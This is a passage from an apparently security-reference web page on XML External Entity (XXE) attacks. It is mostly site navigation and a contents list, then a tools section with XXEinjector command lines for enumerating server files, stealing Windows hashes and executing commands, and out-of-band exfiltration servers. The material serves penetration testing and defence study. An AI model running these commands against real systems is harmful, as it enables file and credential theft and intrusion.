</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-xlsx-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside XLSX file
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-dtd-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside DTD file
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disclose-local-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disclose local file
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disclose-http-response" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disclose HTTP Response:
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LEARNING AND SOCIALS
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_58">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LEARNING AND SOCIALS
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Books
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Twitter
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Youtube
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
template vuln
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_59">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
template vuln
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../_template_vuln/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Title
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Tools
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#labs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Labs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#detect-the-vulnerability" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Detect the vulnerability
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-xxe-to-retrieve-files" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting XXE to retrieve files
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting XXE to retrieve files">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#classic-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Classic XXE
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#classic-xxe-base64-encoded" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Classic XXE Base64 encoded
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#php-wrapper-inside-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
PHP Wrapper inside XXE
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xinclude-attacks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XInclude attacks
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-xxe-to-perform-ssrf-attacks" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting XXE to perform SSRF attacks
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-xxe-to-perform-a-deny-of-service" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting XXE to perform a deny of service
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting XXE to perform a deny of service">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#billion-laugh-attack" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Billion Laugh Attack
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#yaml-attack" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Yaml attack
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#parameters-laugh-attack" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Parameters Laugh attack
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-error-based-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting Error Based XXE
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting Error Based XXE">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#error-based-using-local-dtd-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Error Based - Using Local DTD File
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#error-based-using-remote-dtd" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Error Based - Using Remote DTD
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#exploiting-blind-xxe-to-exfiltrate-data-out-of-band" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Exploiting blind XXE to exfiltrate data out-of-band
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Exploiting blind XXE to exfiltrate data out-of-band">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#basic-blind-xxe" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Basic Blind XXE
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-oob-attack-yunusov-2013" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE OOB Attack (Yunusov, 2013)
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-oob-with-dtd-and-php-filter" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE OOB with DTD and PHP filter
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-oob-with-apache-karaf" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE OOB with Apache Karaf
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-with-local-dtd" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE with local DTD
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XXE with local DTD">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#cisco-webex" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Cisco WebEx
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#citrix-xenmobile-server" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Citrix XenMobile Server
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#waf-bypasses" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
WAF Bypasses
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="WAF Bypasses">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#bypass-via-character-encoding" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Bypass via character encoding
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-in-java" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE in Java
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-in-exotic-files" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE in exotic files
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="XXE in exotic files">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-svg" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside SVG
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-soap" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside SOAP
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-docx-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside DOCX file
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-xlsx-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside XLSX file
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#xxe-inside-dtd-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
XXE inside DTD file
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disclose-local-file" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disclose local file
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#disclose-http-response" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Disclose HTTP Response:
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-content" data-md-component="content">
|
||
<article class="md-content__inner md-typeset">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h1 id="xml-external-entity">XML External Entity</h1>
|
||
<blockquote>
|
||
<p>An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.</p>
|
||
</blockquote>
|
||
<p><strong>Internal Entity</strong>: If an entity is declared within a DTD it is called as internal entity. <br />
|
||
Syntax: <code><!ENTITY entity_name "entity_value"></code></p>
|
||
<p><strong>External Entity</strong>: If an entity is declared outside a DTD it is called as external entity. Identified by <code>SYSTEM</code>. <br />
|
||
Syntax: <code><!ENTITY entity_name SYSTEM "entity_value"></code></p>
|
||
<h2 id="summary">Summary</h2>
|
||
<ul>
|
||
<li><a href="#tools">Tools</a></li>
|
||
<li><a href="#labs">Labs</a></li>
|
||
<li><a href="#detect-the-vulnerability">Detect the vulnerability</a></li>
|
||
<li><a href="#exploiting-xxe-to-retrieve-files">Exploiting XXE to retrieve files</a></li>
|
||
<li><a href="#classic-xxe">Classic XXE</a></li>
|
||
<li><a href="#classic-xxe-base64-encoded">Classic XXE Base64 encoded</a></li>
|
||
<li><a href="#php-wrapper-inside-xxe">PHP Wrapper inside XXE</a></li>
|
||
<li><a href="#xinclude-attacks">XInclude attacks</a></li>
|
||
<li><a href="#exploiting-xxe-to-perform-SSRF-attacks">Exploiting XXE to perform SSRF attacks</a></li>
|
||
<li><a href="#exploiting-xxe-to-perform-a-deny-of-service">Exploiting XXE to perform a deny of service</a></li>
|
||
<li><a href="#billion-laugh-attack">Billion Laugh Attack</a></li>
|
||
<li><a href="#yaml-attack">Yaml attack</a></li>
|
||
<li><a href="#parameters-laugh-attack">Parameters Laugh attack</a></li>
|
||
<li><a href="#exploiting-error-based-xxe">Exploiting Error Based XXE</a></li>
|
||
<li><a href="#error-based---using-local-dtd-file">Error Based - Using Local DTD File</a></li>
|
||
<li><a href="#error-based---using-remote-dtd">Error Based - Using Remote DTD</a></li>
|
||
<li><a href="#exploiting-blind-xxe-to-exfiltrate-data-out-of-band">Exploiting blind XXE to exfiltrate data out-of-band</a></li>
|
||
<li><a href="#blind-xxe">Blind XXE</a></li>
|
||
<li><a href="#xxe-oob-attack-yusonov---2013">XXE OOB Attack (Yunusov, 2013)</a></li>
|
||
<li><a href="#xxe-oob-with-dtd-and-php-filter">XXE OOB with DTD and PHP filter</a></li>
|
||
<li><a href="#xxe-oob-with-apache-karaf">XXE OOB with Apache Karaf</a></li>
|
||
<li><a href="#waf-bypasses">WAF Bypasses</a></li>
|
||
<li><a href="#bypass-via-character-encoding">Bypass via character encoding</a></li>
|
||
<li><a href="#xxe-in-java">XXE in Java</a></li>
|
||
<li><a href="#xxe-in-exotic-files">XXE in exotic files</a></li>
|
||
<li><a href="#xxe-inside-svg">XXE inside SVG</a></li>
|
||
<li><a href="#xxe-inside-soap">XXE inside SOAP</a></li>
|
||
<li><a href="#xxe-inside-docx-file">XXE inside DOCX file</a></li>
|
||
<li><a href="#xxe-inside-xlsx-file">XXE inside XLSX file</a></li>
|
||
<li><a href="#xxe-inside-dtd-file">XXE inside DTD file</a></li>
|
||
<li><a href="#windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents">Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents</a></li>
|
||
</ul>
|
||
<h2 id="tools">Tools</h2>
|
||
<ul>
|
||
<li><a href="https://github.com/staaldraad/xxeserv">xxeftp</a> - A mini webserver with FTP support for XXE payloads
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">sudo</span> <span class="p">./</span><span class="n">xxeftp</span> <span class="n">-uno</span> <span class="n">443</span>
|
||
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="p">./</span><span class="n">xxeftp</span> <span class="n">-w</span> <span class="n">-wps</span> <span class="n">5555</span>
|
||
</code></pre></div></li>
|
||
<li><a href="https://github.com/lc/230-OOB">230-OOB</a> - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via <a href="http://xxe.sh/">http://xxe.sh/</a>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="p">$</span> <span class="n">python3</span> <span class="n">230</span><span class="p">.</span><span class="n">py</span> <span class="n">2121</span>
|
||
</code></pre></div></li>
|
||
<li><a href="https://github.com/enjoiz/XXEinjector">XXEinjector</a> - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="c"># Enumerating /etc directory in HTTPS application:</span>
|
||
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="n">-path</span><span class="p">=/</span><span class="n">etc</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-ssl</span>
|
||
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="c"># Enumerating /etc directory using gopher for OOB method:</span>
|
||
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="n">-path</span><span class="p">=/</span><span class="n">etc</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-oob</span><span class="p">=</span><span class="n">gopher</span>
|
||
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="c"># Second order exploitation:</span>
|
||
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="n">-path</span><span class="p">=/</span><span class="n">etc</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">vulnreq</span><span class="p">.</span><span class="n">txt</span> <span class="p">--</span><span class="n">2ndfile</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">2ndreq</span><span class="p">.</span><span class="n">txt</span>
|
||
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a><span class="c"># Bruteforcing files using HTTP out of band method and netdoc protocol:</span>
|
||
<a id="__codelineno-2-8" name="__codelineno-2-8" href="#__codelineno-2-8"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="n">-brute</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">filenames</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-oob</span><span class="p">=</span><span class="n">http</span> <span class="p">-</span><span class="n">-netdoc</span>
|
||
<a id="__codelineno-2-9" name="__codelineno-2-9" href="#__codelineno-2-9"></a><span class="c"># Enumerating using direct exploitation:</span>
|
||
<a id="__codelineno-2-10" name="__codelineno-2-10" href="#__codelineno-2-10"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-path</span><span class="p">=/</span><span class="n">etc</span> <span class="p">-</span><span class="n">-direct</span><span class="p">=</span><span class="n">UNIQUEMARK</span>
|
||
<a id="__codelineno-2-11" name="__codelineno-2-11" href="#__codelineno-2-11"></a><span class="c"># Enumerating unfiltered ports:</span>
|
||
<a id="__codelineno-2-12" name="__codelineno-2-12" href="#__codelineno-2-12"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-enumports</span><span class="p">=</span><span class="n">all</span>
|
||
<a id="__codelineno-2-13" name="__codelineno-2-13" href="#__codelineno-2-13"></a><span class="c"># Stealing Windows hashes:</span>
|
||
<a id="__codelineno-2-14" name="__codelineno-2-14" href="#__codelineno-2-14"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-hashes</span>
|
||
<a id="__codelineno-2-15" name="__codelineno-2-15" href="#__codelineno-2-15"></a><span class="c"># Uploading files using Java jar:</span>
|
||
<a id="__codelineno-2-16" name="__codelineno-2-16" href="#__codelineno-2-16"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-upload</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">uploadfile</span><span class="p">.</span><span class="n">pdf</span>
|
||
<a id="__codelineno-2-17" name="__codelineno-2-17" href="#__codelineno-2-17"></a><span class="c"># Executing system commands using PHP expect:</span>
|
||
<a id="__codelineno-2-18" name="__codelineno-2-18" href="#__codelineno-2-18"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-oob</span><span class="p">=</span><span class="n">http</span> <span class="p">-</span><span class="n">-phpfilter</span> <span class="p">-</span><span class="n">-expect</span><span class="p">=</span><span class="nb">ls</span>
|
||
<a id="__codelineno-2-19" name="__codelineno-2-19" href="#__codelineno-2-19"></a><span class="c"># Testing for XSLT injection:</span>
|
||
<a id="__codelineno-2-20" name="__codelineno-2-20" href="#__codelineno-2-20"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-host</span><span class="p">=</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">2</span> <span class="p">-</span><span class="o">-file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">req</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-xslt</span>
|
||
<a id="__codelineno-2-21" name="__codelineno-2-21" href="#__codelineno-2-21"></a><span class="c"># Log requests only:</span>
|
||
<a id="__codelineno-2-22" name="__codelineno-2-22" href="#__codelineno-2-22"></a><span class="n">ruby</span> <span class="n">XXEinjector</span><span class="p">.</span><span class="n">rb</span> <span class="p">-</span><span class="n">-logger</span> <span class="p">-</span><span class="n">-oob</span><span class="p">=</span><span class="n">http</span> <span class="p">-</span><span class="n">-output</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">out</span><span class="p">.</span><span class="n">txt</span>
|
||
</code></pre></div></li>
|
||
<li><a href="https://github.com/BuffaloWill/oxml_xxe">oxml_xxe</a> - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">ruby</span> <span class="n">server</span><span class="p">.</span><span class="n">rb</span>
|
||
</code></pre></div></li>
|
||
<li><a href="https://github.com/whitel1st/docem">docem</a> - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc
|
||
